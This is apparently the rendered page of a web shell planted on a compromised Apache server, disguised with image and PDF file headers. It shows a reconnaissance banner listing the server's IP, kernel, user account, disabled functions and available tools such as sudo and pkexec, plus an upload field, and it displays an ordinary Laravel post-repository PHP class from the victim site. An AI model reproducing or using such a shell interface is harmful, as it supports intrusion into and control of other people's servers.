ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/_api/app/Entities/Post/ |
Upload File : |
<?php namespace EvidenciaApi\Entities\Post; class Repository { private $post; private $image; public function __construct(Post $post, PostImage $image) { $this->post = $post; $this->image = $image; } public function count($paginate) { $posts = $this->post ->where('posts.status', '=', 'Ativado') ->count(); return response()->json(ceil($posts / $paginate)); } public function allPaginate($page,$limit) { $posts = $this->post ->with('user', 'category') ->select( 'posts.id', 'posts.created_at', 'posts.file', 'posts.title', 'posts.user_id', 'posts.category_id' ) ->where('posts.status', '=', 'Ativado') ->latest() ->forPage($page, $limit)->get(); return response()->json($posts); } public function one($id) { $post = $this->post ->with('user','images') ->select( 'posts.id', 'posts.created_at', 'posts.file', 'posts.title', 'posts.description', 'posts.user_id' ) ->find($id); $description = $post->description; //$oldUrl = "http:"; $oldUrl = '<img src="http:'; $newUrl = '<img src="https:'; $oldFont = "font-family: 'Calibri','sans-serif';"; $newFont = ""; $post['description'] = str_replace($oldUrl, $newUrl, $description); $post['description'] = str_replace($oldFont, $newFont, $post['description']); return response()->json($post); } public function search($value) { $posts = $this->post ->select( 'posts.id', 'posts.title' ) ->where('status', '=', 'Ativado') ->where('title', 'LIKE', '%'.$value.'%') ->latest() ->get(); return response()->json($posts); } public function images($id) { $images = $this->image ->where('post_id', $id) ->select('id', 'file as image') ->get(); return $images; } }